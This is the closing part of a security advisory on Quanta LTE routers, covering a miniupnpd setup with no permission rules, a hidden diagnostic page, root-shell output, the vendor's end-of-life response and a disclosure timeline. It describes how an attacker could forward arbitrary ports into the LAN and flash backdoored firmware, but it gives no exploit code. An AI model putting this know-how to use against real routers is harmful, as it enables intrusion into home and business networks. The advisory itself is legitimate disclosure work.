listening_ip=bridge0  
port=2869  
enable_natpmp=yes  
enable_upnp=yes  
bitrate_up=14000000  
bitrate_down=14000000  
secure_mode=no # "secure" mode : when enabled, UPnP client  
are allowed to add mappings only to their IP.  
presentation_url=http://192.168.1.1  
system_uptime=yes  
notify_interval=30  
upnp_forward_chain=MINIUPNPD  
upnp_nat_chain=MINIUPNPD  
  
  
  
There is no restriction about the UPnP permission rules in the  
configuration file, contrary to common usage in UPnP where it is  
advised to only allow redirection of port above 1024:  
  
  
Normal config file:  
  
# UPnP permission rules  
# (allow|deny) (external port range) ip/mask (internal port range)  
# A port range is <min port>-<max port> or <port> if there is only  
# one port in the range.  
# ip/mask format must be nn.nn.nn.nn/nn  
# it is advised to only allow redirection of port above 1024  
# and to finish the rule set with "deny 0-65535 0.0.0.0/0 0-65535"  
allow 1024-65535 192.168.0.0/24 1024-65535  
deny 0-65535 0.0.0.0/0 0-65535  
  
  
In the configuration of the vulnerable router where there are no  
permission rules, an attacker can forward everything from the WAN into  
the LAN.  
- From example, an attacker can add a forwarding rule in order to  
allow traffic from the Internet to local Exchange servers, mail  
servers, ftp servers, http servers, database servers...  
In fact, this lack of security allows a local user to forward what  
they want from the Internet into the LAN as shown below with the  
miranda tool.  
  
[a complete PoC is available at  
https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html]  
  
  
  
## Details - Undocumented diagnostic webpage  
  
The webpage at `http://192.168.1.1/diaglogs_page.htm` (needs a valid  
session) gives new parameters to edit:  
  
- - QXDM Filter (?),  
- - Download Mode Configuration when modem crash occured,  
- - usb_factory_pid,  
- - Web Redirect(?),  
- - FOTA test Configuration,  
- - LTE modem Configuration,  
- - LTE Band Preferences Configuration,  
- - SMS Self-Registration Debug Test,  
- - Sending SMS PDU Test,  
- - Editing TR069 Configuration,  
- - WLAN (802.11b, bg, bgn)  
  
This is not a vulnerability but an interesting hidden functionality.  
  
  
  
## Personal notes  
  
As the router has a sizable memory (168 MB), a decent CPU and good  
free space (235 MB) with complete toolkits installed by default (sshd,  
proxy (`/bin/tinyproxy -c /var/tproxy.conf`), tcpdump ...), I advise  
users to trash their routers because it's trivial for an attacker to  
use this router as an attack vector (ie: hosting a sniffing tool, LAN  
hacking, active MiTM tool, spamming zombie).  
  
The reader must understand that not all the vulnerabilities have been  
disclosed. There is a lot of interesting undisclosed findings in this  
router (including RCEs) and I encourage security researchers to  
analyze the binaries provided by the firmware (We can agree I already  
did my part).  
  
Given the vulnerabilities found, even if the vendor changes its mind  
and decides to patch the router, I don't think it is even possible as  
it needs major rewrites in several main components (the ASM code shows  
very bad security practices in several binaries).  
  
- From my tests, it is possible to overwrite the firmware with a  
custom (backdoored) firmware. Generating a valid backdoored firmware  
is left as an exercise for the reader, but with all these included  
vulnerabilities in the default firmware, I don't think it is worth  
making the effort.  
  
To illustrate the precedent fact, here is the current available space  
in the router:  
  
root@homerouter:~# df-h  
Filesystem Size Used Available Use% Mounted on  
/dev/root 60.4M 36.2M 24.2M 60% /  
tmpfs 64.0K 0 64.0K 0% /dev  
tmpfs 82.5M 0 82.5M 0% /dev/shm  
/var 82.5M 968.0K 81.5M 1% /var  
/dev/mtdblock24 60.4M 27.1M 33.3M 45% /usr  
/dev/mtdblock16 10.1M 1.4M 8.7M 14% /config  
/dev/mtdblock17 10.1M 1.3M 8.8M 13% /config2  
/dev/mtdblock18 80.4M 1.3M 79.1M 2% /cache  
root@homerouter:~  
  
  
  
## Tribute to Alex  
  
The `/var/alex` directory is used as a storage directory for logs.  
This in a non conventional path and seems to be named after one of the  
programmer's name. Hello Alex !  
  
  
  
## Having fun with the LEDs:  
  
This device has a lot of LEDs and an user can control them.  
  
You can recycle the router as a funny "light show" device with this command:  
  
root@homerouter:/sys/class/leds# for j in *; do (while sleep 0.1;  
do echo 0 > /sys/class/leds/$j/brightness ; sleep 0.1 ; echo 1 >  
/sys/class/leds/$j/brightness ;done &); sleep 0.1;done  
  
The leds will start blinking like crazy. It will add some fun in this  
long journey.  
  
  
  
## Vendor Response  
  
The vulnerable router is in the End Of Service cycle and will not be  
supported anymore.  
  
The vendor considers the router is still working well.  
  
The vendor will consider security in their next product development.  
  
  
  
## Report Timeline  
  
* Dec 04, 2015: Vulnerabilities found by Pierre Kim.  
* Mar 04, 2016: [email protected] is contacted asking for a GPG  
key to exchange about vulnerabilities: email bounced.  
* Mar 04, 2016: Quanta is contacted about vulnerabilities in their  
routers and how to get a security contact at Quanta.  
* Mar 04, 2016: Quanta asks Pierre Kim about the affected device:  
model name, version and clear details about the vulnerabilities in  
order to redirect to the good IT department.  
* Mar 04, 2016: Pierre Kim specifies the model of the Router, asks  
for a GPG key in order to send detailed informations and clarifies he  
found backdoor accounts in the default firmware, allowing an  
unauthenticated, remote attacker to log in to the device with the  
privileges of the root user.  
* Mar 09, 2016: Pierre Kim contacts Quanta again to get a contact at  
the security team.  
* Mar 12, 2016: Pierre Kim contacts Quanta again to get a contact at  
the security team.  
* Mar 14, 2016: A Sale Account Manager at Quanta ("MIS department")  
asks if Pierre Kim gets the device from the Operator YooMee and says  
"The S/W is already fixed for our customer and we are not able to  
change it randomly for end customer. However, we appreciate your  
information and we will take into consideration for the s/w  
development in the near future."  
* Mar 14, 2016: Pierre Kim asks for clarification and asks if the  
device is End of Life and unsupported, even for security patches.  
Pierre Kims asks Quanta about clarification for the Vendor Response in  
the future public Security Advisory.  
* Mar 15, 2016: Quanta confirms the product is EOL and the released  
firmware was approved by the operator. Quanta can't modify of change  
without the customer's approval. Quanta does not have plan to patch or  
change FW as the product is EOL. Quanta thanks Pierre Kim for the  
information and will consider the findings into our next product  
development in the near future.  
* Mar 15, 2016: Pierre Kim asks if Quanta encourages users to discard  
the unsupported router for the "Vendor Response" in the advisory  
because no patch will be provided by the vendor.  
* Mar 16, 2016: Quanta considers the router is still working well but  
is in End Of Service cycle. Quanta doesn't encourage users to discard  
the router.  
* Mar 16, 2016: Pierre Kim adapts the Vendor Response accordingly but  
warns Quanta he is very concerned that no security workarounds are  
provided by the vendor. At this time, Quanta never asked about the  
security vulnerabilities in detail, nor provided a GPG key.  
* Mar 18, 2016: Pierre Kim contacts again Quanta to ask if there is  
another reachable security team at Quanta. He asks again for a GPG key  
and demands Quanta to confirm no security patches are planned for the  
Quanta QDH Router.  
* Mar 21, 2016: Quanta confirms the product is EOL. Quanta asks  
details about the vulnerabilities.  
* Mar 22, 2016: Pierre Kim asks Quanta for a GPG key and states he  
will give a first draft without the exploits if Quanta is unable to  
provide a GPG key.  
* Mar 23, 2016: Quanta asks an advisory in cleartext without exploits.  
* Mar 23, 2016: Pierre Kim sends a draft to Quanta.  
* Apr 04, 2016: A public advisory is sent to security mailing lists.  
  
  
  
## Credit  
  
These vulnerabilities were found by Pierre Kim (@PierreKimSec).  
  
  
  
## References  
  
https://pierrekim.github.io/advisories/2016-quanta-0x00.txt  
  
https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html  
  
  
  
## Disclaimer  
  
This advisory is licensed under a Creative Commons Attribution Non-Commercial  
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/  
  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1  
  
iQIcBAEBCgAGBQJXAbN0AAoJEMQ+Dtp9ky28zp4P/2njlGIMw7xej2xU2zqaGo3E  
GEmkTHGrv0jDkZXHZCURmujU+8pkE5wck1FV26dWKoPHCRm4sSxprxKa6UnQh40b  
9y8kK4bJkJKY9AX/UAIlU/1BVrMapSEoih3O5BNrZEPY6KMfEyhr7qcisObQXZRq  
C+d+1vORfrA/nePcrE91B2YOGNiprG/zAn+62YOARtlulrsTDuC+hiqmVdLCpyPA  
O+jM5p34+2c/lxYKaC/L1+cORmvkTjNslfrb63caEdgdI53n/DMcUFaBt8t9xKZf  
StHj58ECc8vTQ4xu0n0kn4ALpPbDog0pLlJvZh54yTfbpTYu+03JcoeE+4kYaE3H  
ypChmklkX2vLdAuZDW2MIY3vs34mKlax+5PN7/atzN5QeR/cDWdFHpSb3qy7TNQJ  
J6CeHrpEot/I5TSIOU5I+/MCUTwgIgwI0Y/OlZuZWE/BSuyqSfXJ5mWxjFAQxGVt  
gQk6TefoW6M26EtuWrEBW+rOgWBoOwjP10cXnOjeaLtfrPbjDbCDu7CpQmToDgeE  
4++UU/iTUKgDi9vJFNEWh+nFZiX9t5LkxJoL80f7gOg3ontdi2QkpMl8Dci+9C+A  
RImMxuOidQ6bYY5PMCW/0c7Hqfmu8HCsi75iDf7q8rWkhccSJH4JjBvsHsmnttG/  
fkrGh4etyHwtsTpUOwHj  
=Lmfd  
-----END PGP SIGNATURE-----  
  
  
  
--   
Pierre Kim  
[email protected]  
@PierreKimSec  
https://pierrekim.github.io/  
  
  
`